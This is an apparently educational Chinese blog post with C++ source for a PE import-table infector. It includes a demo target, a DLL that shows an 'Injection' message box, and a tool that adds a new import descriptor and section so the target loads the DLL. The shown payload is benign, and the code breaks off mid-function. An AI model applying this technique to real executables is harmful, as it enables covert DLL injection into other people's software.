InfectImportTable

本文最后更新于:1 年前

修改PE文件导入表实现PE文件感染

三个项目
1.Demo 生成被感染的PE文件
2.Dll
3.InfectImportTable

1.Demo
1)Demo.cpp
// Demo.cpp : 此文件包含 “main” 函数。程序执行将在此处开始并结束。
//

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <iostream>
#include <tchar.h>
using namespace std;

DWORD WINAPI ThreadProcedure(LPVOID ParameterData);
int _tmain()
{
CreateThread(NULL, 0, ThreadProcedure, NULL, 0, NULL);
while (TRUE)
{
Sleep(20000);
}

return 0;
}

DWORD WINAPI ThreadProcedure(LPVOID ParameterData)
{
while (TRUE)
{
SleepEx(3000, TRUE);
}
return 0;
}

2.Dll
1)Dll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include <iostream>
#include <tchar.h>
using namespace std;
VOID HelloWorld();

DWORD WINAPI ThreadProcedure(LPVOID ParameterData);


BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
CreateThread(NULL, 0, ThreadProcedure, NULL, 0, NULL);
}
return TRUE;
}

DWORD WINAPI ThreadProcedure(LPVOID ParameterData)
{
TCHAR v1[MAX_PATH] = { 0 };
TCHAR BufferData[1024] = { 0 };


MessageBox(NULL, _T("Injection"), _T("Injection"), MB_OK);
return 0;
}


//导出函数
VOID HelloWorld()
{

}

2)Source.def

1
2
3
4
LIBRARY      "Dll"
DESCRIPTION 'Dll'
EXPORTS
HelloWorld @1

3.InfectImportTable
1)CPEImage.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#pragma once
#include <windows.h>
#include <iostream>
#include <tchar.h>
using namespace std;

#define BUFFER_LENGTH (0x1000)
#define ALIGN_SIZE_UP(Size,Alignment) (((ULONG_PTR)(Size) + Alignment - 1) & ~(Alignment - 1)) //对齐粒度
class _CPEImage
{
public:
_CPEImage();
~_CPEImage();
HANDLE m_FileHandle;
DWORD m_dwPageSize;
HANDLE m_hProc;
WORD m_NumberOfSections;

PBYTE m_ModuleHandle;
PIMAGE_DOS_HEADER m_ImageDosHeader;
PIMAGE_NT_HEADERS m_ImageNtHeaders;
PIMAGE_FILE_HEADER m_ImageFileHeader;
PIMAGE_OPTIONAL_HEADER m_ImageOptionalHeader;
PIMAGE_DATA_DIRECTORY m_RelocateDataTable;
PIMAGE_SECTION_HEADER m_ImageSectionHeader;
PIMAGE_DATA_DIRECTORY m_ImportDataTable;
PIMAGE_DATA_DIRECTORY m_ExportDataTable;
PIMAGE_EXPORT_DIRECTORY m_ImageExportDirectory;
PIMAGE_IMPORT_DESCRIPTOR m_ImageImportDescriptor;

IMAGE_DATA_DIRECTORY m_OldImportDataTable; //VirtualAddress Size

ULONG_PTR m_AddressOfEntryPoint;
DWORD m_SizeOfImage;
ULONG_PTR m_ImageBase;
BYTE m_BufferData[BUFFER_LENGTH];//保存一份PE头的数据内部使用
public:

PBYTE LoadImage(HANDLE FileHandle, BOOL IsDoRelocate = TRUE, ULONG_PTR RelocateBase = 0, BOOL IsDoImport = FALSE);
BOOL VerifyImage(PVOID VirtualAddress);
VOID InitializePeHeaders(PBYTE VirtualAddress);
DWORD GetAlignedSize(DWORD BufferLength, DWORD Alignment);
VOID ProcessRelocateTable(ULONG_PTR RelocateBase);
BOOL ProcessImportTable();
BOOL SnapThunk(HMODULE ModuleHandle,
char *Name, PBYTE ImageBase, PIMAGE_THUNK_DATA OriginalFirstThunk, PIMAGE_THUNK_DATA FirstThunk);
PIMAGE_SECTION_HEADER LocateSectionByRva(DWORD Rva);
PIMAGE_SECTION_HEADER LocateSectionByFileOffset(DWORD ParameterData);
DWORD GetSectionPhysialPaddingSize(PIMAGE_SECTION_HEADER ImageSectionHeader);
PIMAGE_SECTION_HEADER AddNewSectionToFile(const char *SectionName, DWORD SectionSize);
DWORD Raw2Rva(DWORD FileOffset);
DWORD Rva2Raw(DWORD Rva);
};

2)CPEImage.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
#include "_CPEImage.h"


_CPEImage::_CPEImage()
{
m_FileHandle = INVALID_HANDLE_VALUE; //文件句柄
m_ModuleHandle = NULL; //内存申请
m_ImageDosHeader = NULL;
m_ImageFileHeader = NULL;
m_ImageOptionalHeader = NULL;
m_ImageSectionHeader = NULL;
m_ImageExportDirectory = NULL;
m_ImageImportDescriptor = NULL;
m_RelocateDataTable = NULL;


}

_CPEImage::~_CPEImage()
{
if (m_ModuleHandle!=NULL)
{
VirtualFree(m_ModuleHandle, 0, MEM_RELEASE);
m_ModuleHandle = NULL;
}

}

PBYTE _CPEImage::LoadImage(HANDLE FileHandle, BOOL IsDoRelocate, ULONG_PTR RelocateBase, BOOL IsDoImport)
{
WORD i = 0;
BYTE *v5 = NULL;
BYTE *MappedBase = NULL;
PIMAGE_SECTION_HEADER ImageSectionHeader = NULL;
BOOL IsOk = FALSE;
DWORD FileSizeLow = 0; //一般PE文件大小不会超过4G
DWORD NumberOfBytesRead = 0;

__try
{

m_FileHandle = FileHandle;
//获取文件大小
FileSizeLow = GetFileSize(m_FileHandle, NULL);
if (FileSizeLow == 0)
{
__leave;
}

//读取PE头
DWORD NumberOfBytesToRead = (FileSizeLow > BUFFER_LENGTH) ? BUFFER_LENGTH : FileSizeLow;
ZeroMemory(m_BufferData, BUFFER_LENGTH);

//读取被感染PE文件的0x1000大小数据
IsOk = ReadFile(m_FileHandle, m_BufferData, NumberOfBytesToRead, &NumberOfBytesRead, NULL);
if (!IsOk)
{
__leave;
}

if (!VerifyImage(m_BufferData)) //判断是否是一个PE文件 0x1000
{
__leave;
}

//解析各个PE头部结构
InitializePeHeaders(m_BufferData);//导入描述 导出目录的数据信息

//定义一个游走指针
ImageSectionHeader = m_ImageSectionHeader;


//在我们进程中内存申请
v5 = m_ModuleHandle = (BYTE*)VirtualAlloc(NULL, m_SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (v5 == NULL)
{

__leave;
}

//现将被感染PE文件中的头部数据拷贝到内存中
memcpy(v5, m_BufferData, m_ImageOptionalHeader->SizeOfHeaders); //0x200 --- 0x1000

//按照内存粒度对齐整理文件头部信息
v5 += GetAlignedSize(m_ImageOptionalHeader->SizeOfHeaders, m_ImageOptionalHeader->SectionAlignment);



//整理节数据

//逆向工程核心原理104 图对照 v5内存粒度对齐图
LARGE_INTEGER v1;
for (i = 0; i < m_NumberOfSections; i++)
{
v1.QuadPart = ImageSectionHeader->PointerToRawData;
IsOk = SetFilePointerEx(m_FileHandle, v1, NULL, FILE_BEGIN); //根据PointerToRawData中的值定位文件位置
if (!IsOk)
{
__leave;
}

//读取各个节
IsOk = ReadFile(m_FileHandle, v5, ImageSectionHeader->SizeOfRawData, &NumberOfBytesRead, NULL);
if (!IsOk)
{

__leave;
}
v5 += GetAlignedSize(ImageSectionHeader->Misc.VirtualSize, m_ImageOptionalHeader->SectionAlignment);
ImageSectionHeader++;
}

//重新解析PE头
InitializePeHeaders(m_ModuleHandle);

//开始处理重定位数据
if (IsDoRelocate)
{
//如果RelocateBase为0,则按实际加载位置进行重定位
ULONG_PTR v2 = (RelocateBase == 0) ? (DWORD)m_ModuleHandle : RelocateBase;
ProcessRelocateTable(v2);
}

//处理导入表
if (IsDoImport)
{
ProcessImportTable();
}

IsOk = TRUE; //加载成功
}
__finally
{
if (!IsOk)
{
if (m_FileHandle != INVALID_HANDLE_VALUE)
{
CloseHandle(m_FileHandle);
m_FileHandle = INVALID_HANDLE_VALUE;
}
}
}

return m_ModuleHandle;
}
BOOL _CPEImage::VerifyImage(PVOID VirtualAddress)
{
//解析各个PE头部结构
m_ImageDosHeader = (PIMAGE_DOS_HEADER)VirtualAddress;
if (m_ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return FALSE;
}
m_ImageNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)VirtualAddress + m_ImageDosHeader->e_lfanew);
if (m_ImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return FALSE;
}

return TRUE;
}

VOID _CPEImage::InitializePeHeaders(PBYTE VirtualAddress)
{
//解析各个PE头部结构
m_ModuleHandle = VirtualAddress;
m_ImageDosHeader = (PIMAGE_DOS_HEADER)VirtualAddress;
m_ImageNtHeaders = (PIMAGE_NT_HEADERS)(VirtualAddress + m_ImageDosHeader->e_lfanew);
m_ImageFileHeader = &m_ImageNtHeaders->FileHeader;
m_NumberOfSections = m_ImageFileHeader->NumberOfSections;
m_ImageOptionalHeader = &m_ImageNtHeaders->OptionalHeader;
m_RelocateDataTable = &(m_ImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]); //VirtualAddress Size
m_ImageSectionHeader = (PIMAGE_SECTION_HEADER)((BYTE*)m_ImageOptionalHeader + m_ImageFileHeader->SizeOfOptionalHeader);
m_AddressOfEntryPoint = m_ImageOptionalHeader->AddressOfEntryPoint; //RVA
m_SizeOfImage = m_ImageOptionalHeader->SizeOfImage;
m_ImageBase = (ULONG_PTR)m_ImageOptionalHeader->ImageBase;

//导入表
m_ImportDataTable = &m_ImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
//因为导入表可能会被修改,所以先保存旧的导入表数据
m_OldImportDataTable.VirtualAddress = m_ImportDataTable->VirtualAddress;
m_OldImportDataTable.Size = m_ImportDataTable->Size;

if (m_ImportDataTable->VirtualAddress != NULL)
{
m_ImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(VirtualAddress + m_ImportDataTable->VirtualAddress);
}

//导出表
m_ExportDataTable = &m_ImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (m_ExportDataTable->VirtualAddress != NULL)
{
m_ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(VirtualAddress + m_ExportDataTable->VirtualAddress);
}



}


DWORD _CPEImage::GetAlignedSize(DWORD BufferLength, DWORD Alignment)
{
DWORD v1 = 0;
v1 = ALIGN_SIZE_UP(BufferLength, Alignment);
return v1;//返回对齐后的大小
}

VOID _CPEImage::ProcessRelocateTable(ULONG_PTR RelocateBase)
{
WORD i = 0;

PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(RelocateBase + ((PIMAGE_DOS_HEADER)RelocateBase)->e_lfanew);

PIMAGE_DATA_DIRECTORY ImageDataDirectory = (PIMAGE_DATA_DIRECTORY)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION ImageBaseRelocation = (PIMAGE_BASE_RELOCATION)(RelocateBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

if (ImageBaseRelocation->VirtualAddress != NULL)
{

do
{//处理一个接一个的重定位块,最后一个重定位块以RAV=0结束
//需要重定位的个数,是本块的大小减去块头的大小,结果是以DWORD表示的大小
//而重定位数据是16位的,那就得除以2
int v7 = (ImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;

//重定位数据是16位的
WORD Offset = 0;
WORD *v1 = (WORD*)((BYTE*)ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
for (i = 0; i < v7; i++)//循环,或直接判断*pData是否为0也可以作为结束标记
{
ULONG_PTR *RelocateAddress = 0;//需要重定位的地址
#ifdef _WIN64
WORD RelocateFlag = IMAGE_REL_BASED_DIR64;
#else
WORD RelocateFlag = IMAGE_REL_BASED_HIGHLOW;
#endif
//IMAGE_REL_BASED_DIR64
//重定位的高4位是重定位类型,
if (((*v1) >> 12) == RelocateFlag)//判断重定位类型是否为IMAGE_REL_BASED_HIGHLOW,x86
{
//计算需要进行重定位的地址
//重定位数据的低12位再加上本重定位块头的RAV即真正需要重定位的数据的RAV
Offset = (*v1) & 0xFFF;//小偏移
RelocateAddress = (ULONG_PTR*)(RelocateBase + ImageBaseRelocation->VirtualAddress + Offset);
//对需要重定位的数据进行修正
//修正方法:减去IMAGE_OPTINAL_HEADER中的基址,再加上新的基址即可
*RelocateAddress = *RelocateAddress - m_ImageOptionalHeader->ImageBase + RelocateBase;
}
v1++;

}
//指向下一个重定位块
ImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((char*)ImageBaseRelocation + ImageBaseRelocation->SizeOfBlock);

} while (ImageBaseRelocation->VirtualAddress);
}
}
BOOL _CPEImage::ProcessImportTable()
{
BOOL IsOk = TRUE;
TCHAR v1[MAX_PATH] = { 0 };
char szCurDirectory[MAX_PATH] = { 0 };
char szPrompt[256] = { 0 };
PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor = m_ImageImportDescriptor;
PIMAGE_THUNK_DATA OriginalFirstThunk = NULL, FirstThunk = NULL;
PIMAGE_IMPORT_BY_NAME pImpName = NULL;
HMODULE ModuleHandle = NULL;
char *Name = NULL;

if (ImageImportDescriptor == NULL)
{
//无导入表,不需要处理
return TRUE;
}
while (ImageImportDescriptor->Name && ImageImportDescriptor->OriginalFirstThunk)
{
Name = (char*)m_ModuleHandle + ImageImportDescriptor->Name;
ModuleHandle = LoadLibraryA(Name);
if (ModuleHandle == NULL)
{
return FALSE;
}

//printf("处理导入表模块 : %s\n",szImpModName);
OriginalFirstThunk = (PIMAGE_THUNK_DATA)(m_ModuleHandle + (ULONG)ImageImportDescriptor->OriginalFirstThunk);
FirstThunk = (PIMAGE_THUNK_DATA)(m_ModuleHandle + (ULONG)ImageImportDescriptor->FirstThunk);

while (OriginalFirstThunk->u1.AddressOfData)
{
IsOk = SnapThunk(ModuleHandle, Name, m_ModuleHandle, OriginalFirstThunk, FirstThunk);
if (!IsOk)
{
IsOk = FALSE;
break;
}
OriginalFirstThunk++;
FirstThunk++;
}

if (!IsOk)
{
break;
}
ImageImportDescriptor++;
}


return IsOk;
}
BOOL _CPEImage::SnapThunk(HMODULE ModuleHandle,
char *Name, PBYTE ImageBase, PIMAGE_THUNK_DATA OriginalFirstThunk, PIMAGE_THUNK_DATA FirstThunk)
{
BOOL IsOk = FALSE;
PIMAGE_IMPORT_BY_NAME ImageImportByName = NULL;
DWORD v1 = 0;
ULONG Ordinal = 0;

if (OriginalFirstThunk->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
Ordinal = IMAGE_ORDINAL(OriginalFirstThunk->u1.Ordinal);
v1 = (ULONG_PTR)GetProcAddress(ModuleHandle, (LPCSTR)Ordinal);

if (v1 == 0)
{
_tprintf(_T("无法在导入模块%s中定位导入函数:%d (序号)"), Name, Ordinal);
}
}
else
{
ImageImportByName = (PIMAGE_IMPORT_BY_NAME)(m_ModuleHandle + (ULONG)OriginalFirstThunk->u1.AddressOfData);
v1 = (ULONG_PTR)GetProcAddress(ModuleHandle, (LPCSTR)ImageImportByName->Name);
//printf("0x%08X 按名称导入 : %s\n",dwFunAddr,pImpName->Name);
if (v1 == 0)
{
_tprintf(_T("无法在导入模块%s中定位导入函数:%s "), Name, ImageImportByName->Name);
}
}

if (v1 != 0)
{
FirstThunk->u1.Function = v1;
IsOk = TRUE;
}

return IsOk;
}
//根据相对虚拟地址查找所在的节
PIMAGE_SECTION_HEADER _CPEImage::LocateSectionByRva(DWORD Rva)
{
WORD i = 0;
PIMAGE_SECTION_HEADER ImageSectionHeader = m_ImageSectionHeader;
for (i = 0; i < m_NumberOfSections; i++)
{
if (ImageSectionHeader->VirtualAddress <= Rva
&& Rva < (ImageSectionHeader->VirtualAddress + ImageSectionHeader->Misc.VirtualSize))
{
return ImageSectionHeader;
}
ImageSectionHeader++;
}
return NULL;
}
PIMAGE_SECTION_HEADER _CPEImage::LocateSectionByFileOffset(DWORD ParameterData)
{
WORD i = 0;
PIMAGE_SECTION_HEADER ImageSectionHeader = m_ImageSectionHeader;
for (i = 0; i < m_NumberOfSections; i++)
{
if (ImageSectionHeader->PointerToRawData <= ParameterData
&& ParameterData < (ImageSectionHeader->PointerToRawData + ImageSectionHeader->SizeOfRawData))
{
return ImageSectionHeader;
}
ImageSectionHeader++;
}
return NULL;
}
//计算某个节按虚拟地址对齐后的空隙大小
//VirtualSize和RawSize不确定哪个比较大
DWORD _CPEImage::GetSectionPhysialPaddingSize(PIMAGE_SECTION_HEADER ImageSectionHeader)
{
DWORD PaddingSize = 0;
if (ImageSectionHeader->Misc.VirtualSize < ImageSectionHeader->SizeOfRawData)
{
//节的内存大小小于文件大小
/*
.text name
7748 virtual size
1000 virtual address
7800 size of raw data
*/
PaddingSize = ImageSectionHeader->SizeOfRawData - ImageSectionHeader->Misc.VirtualSize;
}
else
{
//节的内存大小大于等于文件中的大小,则认为不存在空隙
PaddingSize = 0;

}
return PaddingSize;
}

PIMAGE_SECTION_HEADER _CPEImage::AddNewSectionToFile(const char *SectionName, DWORD SectionSize)
{
PIMAGE_SECTION_HEADER NewImageSectionHeader = m_ImageSectionHeader + m_NumberOfSections;
PIMAGE_SECTION_HEADER LastImageSectionHeader = m_ImageSectionHeader + m_NumberOfSections - 1;
DWORD VirtualAddress, PointerToRawData, VirtualSize;
LARGE_INTEGER v1;
BOOL IsOk = FALSE;
DWORD NumberOfBytesWritten = 0;

//计算新节的起始虚拟内存偏移
VirtualAddress = LastImageSectionHeader->VirtualAddress + GetAlignedSize(LastImageSectionHeader->Misc.VirtualSize, m_ImageOptionalHeader->SectionAlignment);
//计算新节的物理起始偏移
PointerToRawData = LastImageSectionHeader->PointerToRawData + GetAlignedSize(LastImageSectionHeader->SizeOfRawData, m_ImageOptionalHeader->FileAlignment);
//计算新节的大小,按文件对齐粒度对齐
VirtualSize = GetAlignedSize(SectionSize, m_ImageOptionalHeader->FileAlignment);

//设置文件指针位置
v1.QuadPart = PointerToRawData + VirtualSize;
IsOk = SetFilePointerEx(m_FileHandle, v1, NULL, FILE_BEGIN);
if (!IsOk)
{

return NULL;

}

IsOk = SetEndOfFile(m_FileHandle);
if (!IsOk)
{
return NULL;

}

//填充SectionHeader
ZeroMemory(NewImageSectionHeader, sizeof(IMAGE_SECTION_HEADER));
strncpy_s((char*)NewImageSectionHeader->Name,8, SectionName, 8);
NewImageSectionHeader->Misc.VirtualSize = VirtualSize;
NewImageSectionHeader->VirtualAddress = VirtualAddress;
NewImageSectionHeader->PointerToRawData = PointerToRawData;
NewImageSectionHeader->SizeOfRawData = VirtualSize;
NewImageSectionHeader->Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;

//更新PE头中的节个数
m_ImageFileHeader->NumberOfSections += 1;
m_NumberOfSections++;
//更新PE头中的总映像大小
m_ImageOptionalHeader->SizeOfImage += VirtualSize;

//保存PE头到文件中
v1.QuadPart = 0;
IsOk = SetFilePointerEx(m_FileHandle, v1, NULL, FILE_BEGIN);
if (!IsOk)
{

return NULL;

}

IsOk = WriteFile(m_FileHandle, m_ModuleHandle, m_ImageOptionalHeader->SizeOfHeaders, &NumberOfBytesWritten, NULL);
if (!IsOk)
{

return NULL;

}

FlushFileBuffers(m_FileHandle);
return NewImageSectionHeader;
}
DWORD _CPEImage::Raw2Rva(DWORD FileOffset)
{
DWORD RVA = 0;
if (FileOffset < m_ImageOptionalHeader->SizeOfHeaders)
{
RVA = FileOffset;
return RVA;
}
PIMAGE_SECTION_HEADER ImageSectionHeader = LocateSectionByFileOffset(FileOffset);
if (ImageSectionHeader != NULL)
{
RVA = FileOffset - ImageSectionHeader->PointerToRawData + ImageSectionHeader->VirtualAddress;
}

return RVA;
}
DWORD _CPEImage::Rva2Raw(DWORD Rva)
{
DWORD FileOffset = 0;
if (Rva < m_ImageOptionalHeader->SizeOfHeaders)
{
FileOffset = Rva;
return FileOffset;
}
PIMAGE_SECTION_HEADER ImageSectionHeader = LocateSectionByRva(Rva);
if (ImageSectionHeader != NULL)
{
FileOffset = Rva - ImageSectionHeader->VirtualAddress + ImageSectionHeader->PointerToRawData;
}

return FileOffset;
}

3)InfectImportTable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#include <windows.h>
#include <tchar.h>
#include <iostream>
#include "_CPEImage.h"

using namespace std;


#define INFECT_SIGNATURE ('PE')

BOOL InfectImportTable(
IN const TCHAR *ImageFilePath,
IN const CHAR *DllName,
IN const CHAR *FunctionName);
void _tmain()
{
#ifdef _WIN64
InfectImportTable(_T("Demo.exe"), ("Dll.dll"), ("HelloWorld"));
#else
InfectImportTable(_T("Demo.exe"), ("Dll.dll"), ("HelloWorld"));
#endif
}

BOOL InfectImportTable(
IN const TCHAR *ImageFilePath,
IN const CHAR *DllName,
IN const CHAR *FunctionName)
{

BOOL IsOk = FALSE;
WORD i = 0;
DWORD NumberOfBytesWritten = 0;
PIMAGE_SECTION_HEADER ImageSectionHeader, NewImageSectionHeader = NULL, TargetImageSectionHeader = NULL;
DWORD OldImportDataCount = 0, NewImportDataCount = 0;
DWORD OldImportDataSize = 0, NewImportDataSize = 0;
DWORD v5 = 0; //新导入表数组的存储位置
DWORD NewThunkDataSize = 0;
DWORD NewThunkDataVA = 0;//新导入项的ThunkData的存储位置
DWORD SizeNeed = 0;
DWORD v2 = 0;
BOOL IsUseNewSection = FALSE; //是否使用了新节
BOOL IsPlaceThunkDataToOldIID = TRUE; //表明ThunkData存放的位置是不是在原来的IID位置,如果放不下,得找新位置

_CPEImage v1;

//获得被感染PE文件文件句柄
HANDLE FileHandle = CreateFile(ImageFilePath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

//解析PE结构
PBYTE BufferData = v1.LoadImage(FileHandle, FALSE, 0, FALSE);


if (BufferData == NULL)
{
return FALSE;
}

//检查是否被感染过
if (v1.m_ImageDosHeader->e_csum == INFECT_SIGNATURE)
{
_tprintf(_T("文件已经被感染过!\n"));
return FALSE;
}

//计算PE文件的节中是否存在空隙

OldImportDataSize = v1.m_ImportDataTable->Size;
OldImportDataCount = OldImportDataSize / sizeof(IMAGE_IMPORT_DESCRIPTOR); //获取导入表描述的个数


NewImportDataCount = OldImportDataCount + 1;
NewImportDataSize = NewImportDataCount * sizeof(IMAGE_IMPORT_DESCRIPTOR);

SizeNeed = NewImportDataSize; //所需的大小是新导入表IID结构的大小



ImageSectionHeader = v1.LocateSectionByRva(v1.m_ImportDataTable->VirtualAddress); //导入表在哪个节中


/*
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize; //节中数据的真实大小
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData; //文件粒度对齐后的大小
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER


*/




DWORD PaddingSize = v1.GetSectionPhysialPaddingSize(ImageSectionHeader); //空隙大小

//计算填充ThunkData需要的大小,它包括了OriginalFirstThunk、FirstThunk、IMPORT_BY_NAME,以及DllName
NewThunkDataSize = sizeof(ULONG_PTR) * 4 + strlen(DllName) + 1 + sizeof(WORD) + strlen(FunctionName) + 1;

NewThunkDataSize = ALIGN_SIZE_UP(NewThunkDataSize, sizeof(ULONG)); //对齐
//判断原导入表位置能否写下新的ThunkData

if (NewThunkDataSize > OldImportDataSize)
{
//写不下,那么在寻找节隙时就要加上
//按ULONG_PTR对齐之后再添加ThunkData,虽然不按这个对齐也可以
v2 = ALIGN_SIZE_UP(NewImportDataSize, sizeof(ULONG_PTR));
SizeNeed = v2 + NewThunkDataSize;
IsPlaceThunkDataToOldIID = FALSE;
}

if (PaddingSize >= SizeNeed)
{
_tprintf(_T("节空隙可以放下新的导入表,不需添加新节!\n"));
v5 = ImageSectionHeader->VirtualAddress + v1.GetAlignedSize(ImageSectionHeader->Misc.VirtualSize, sizeof(DWORD));
TargetImageSectionHeader = ImageSectionHeader;
}
else
{
_tprintf(_T("节空隙不能放下新的导入表,需要添加新节!\n"));
//根据所需的空间大小添加一个新节
NewImageSectionHeader = v1.AddNewSectionToFile(".Patch", SizeNeed);
_tprintf(_T("新节添加完毕! VA = 0x%p PointerToRawData = 0x%p SizeOfRawData = 0x%p\n",
NewImageSectionHeader->VirtualAddress, NewImageSectionHeader->PointerToRawData, NewImageSectionHeader->SizeOfRawData));
v5 = NewImageSectionHeader->VirtualAddress;
TargetImageSectionHeader = NewImageSectionHeader;
IsUseNewSection = TRUE;
}

//保存原导入表
PIMAGE_IMPORT_DESCRIPTOR OldImageImportDescriptor = v1.m_ImageImportDescriptor;
PIMAGE_IMPORT_DESCRIPTOR v10 = (PIMAGE_IMPORT_DESCRIPTOR)malloc(SizeNeed);
ZeroMemory(v10, SizeNeed);
//保存原来的导入表部分到新的中
memcpy(v10, OldImageImportDescriptor, OldImportDataSize);


PIMAGE_IMPORT_DESCRIPTOR NewImageImportDescriptor = v10 + OldImportDataCount - 1;


//需要注意的是,ThunkData在32位和64位下的长度是不一样的,所以这里定义为自适应的ULONG_PTR
PULONG_PTR OriginalFirstThunk = NULL;
if (IsPlaceThunkDataToOldIID)
{

OriginalFirstThunk = (PULONG_PTR)(v1.m_ModuleHandle + v1.m_ImportDataTable->VirtualAddress);
NewThunkDataVA = v1.m_ImportDataTable->VirtualAddress;
}
else
{

OriginalFirstThunk = (PULONG_PTR)((PBYTE)NewImageImportDescriptor + v2);
NewThunkDataVA = v5 + v2;
}
ZeroMemory(OriginalFirstThunk, NewThunkDataSize);


//留出两项内容,第一项稍后填充,第二项填0作为结束标记
PULONG_PTR FirstThunk = OriginalFirstThunk + 2;
//留出两项内容,第一项稍后填充,第二项填0作为结束标记,之后作为Dll名称
PCHAR v11 = (PCHAR)(FirstThunk + 2);
//保存dll名称
strcpy(v11,DllName);

SIZE_T v12 = strlen(DllName);
v11[v12] = 0;
//接下来作为一个PIMPORT_BY_NAME结构
PIMAGE_IMPORT_BY_NAME ImageImportByName = (PIMAGE_IMPORT_BY_NAME)(v11 + v12 + 1);
//填充它
ImageImportByName->Hint = 0;
strcpy((char*)ImageImportByName->Name, FunctionName);


//计算结束位置
PCHAR End = (PCHAR)ImageImportByName + sizeof(ImageImportByName->Hint) + strlen((char*)ImageImportByName->Name) + 1;
//计算总占用的空间大小
